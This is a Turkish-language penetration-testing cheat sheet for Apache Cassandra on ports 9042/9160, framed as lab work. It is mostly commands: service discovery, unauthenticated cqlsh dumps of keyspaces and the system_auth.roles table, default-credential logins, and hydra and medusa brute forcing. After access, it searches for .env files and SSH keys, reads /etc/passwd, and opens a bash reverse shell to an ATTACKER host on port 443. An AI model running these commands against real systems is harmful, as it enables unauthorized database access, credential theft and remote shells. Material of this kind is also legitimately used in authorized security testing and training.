9042/9160 - Pentesting Cassandra

Cassandra database

Cassandra CQL native protokol sunar. Auth kapalıysa tüm keyspace dump edilir. Hedef lab IP’si üzerinde komutları 9042 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 9042/9160 doğrula.

2. cqlsh bağlan.

3. Keyspace dump.

4. Role/creds loot.

Keşif

nmap -Pn -sV -p9042,9160 TARGET

cqlsh TARGET -e 'DESCRIBE CLUSTER'

nmap -p9042 --script cassandra-info TARGET

Dump

cqlsh TARGET -e 'DESCRIBE KEYSPACES'

cqlsh TARGET -e 'SELECT * FROM system_auth.roles'

cqlsh TARGET -u cassandra -p cassandra

Derin enum

Cassandra için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p9042,9160 TARGET

nmap -Pn -p9042 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:9042' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',9042));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → Cassandra

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 9042 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 9042

nmap -p9042 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit Cassandra

msfconsole -q -x 'search Cassandra; exit'

nuclei -u https://TARGET:9042 -t cves/ -silent -severity || true

nuclei -u http://TARGET:9042 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 9042

printf '
' | timeout 3 nc -nv TARGET 9042

curl -vk --http1.0 http://TARGET:9042/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

cqlsh unauth → describe → dump roles/data